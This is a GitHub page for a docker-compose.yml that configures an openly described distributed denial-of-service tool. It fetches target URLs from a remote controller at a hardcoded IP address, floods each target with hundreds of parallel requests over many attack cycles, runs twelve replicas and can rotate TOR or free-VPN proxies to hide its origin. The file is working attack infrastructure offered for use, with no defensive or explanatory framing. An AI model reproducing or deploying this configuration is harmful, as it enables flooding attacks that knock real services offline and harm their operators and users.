-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathdocker-compose.yml
40 lines (36 loc) · 1.59 KB
/
docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
version: "3.9"
services:
app:
build:
context: .
dockerfile: Dockerfile
environment:
# Source from where we can load targets
# Either a local file, or a controller endpoint
TARGETS_MODE: url
TARGETS_FILE: /app/targets.txt
TARGETS_URL: http://68.183.43.171:9000/targets
# How many cycles (epochs) of attacks should be performed
# This value can be ignored, you can control the attack by stopping docker-compose at any time
NUMBER_OF_EPOCHS: 100
# Min/max values that determine how many requests can be simultaneously sent to a single URL
# Actual number of requests is always randomly generated, bound between these two numbers
PARALLEL_SINGLE_URL_MIN_REQUESTS: 200
PARALLEL_SINGLE_URL_MAX_REQUESTS: 700
# Should we use TOR proxy or free VPN proxy? (0 - no, 1 - yes)
# Obviously do not set them both to 1, this will make everything crash
# Set them both to 0 if you don't want to use any proxy
#
# Prefer free VPN proxy when running on servers with low replicas count (less than 5)
# Also lower parallel single url requests for free vpn
ENABLE_TOR_PROXY: 0
ENABLE_FREE_PROXY: 0
# How often should new proxy identity be generated? Default value - every 6 batches of requests (every 6 URLs)
# Use 0 or -1 to disable IP change
TOR_PROXY_IP_CHANGE_FREQUENCY: 6
FREE_PROXY_IP_CHANGE_FREQUENCY: 6
deploy:
# How scaled this attack is, how many replicas of this container should be deployed
replicas: 12
restart_policy:
condition: any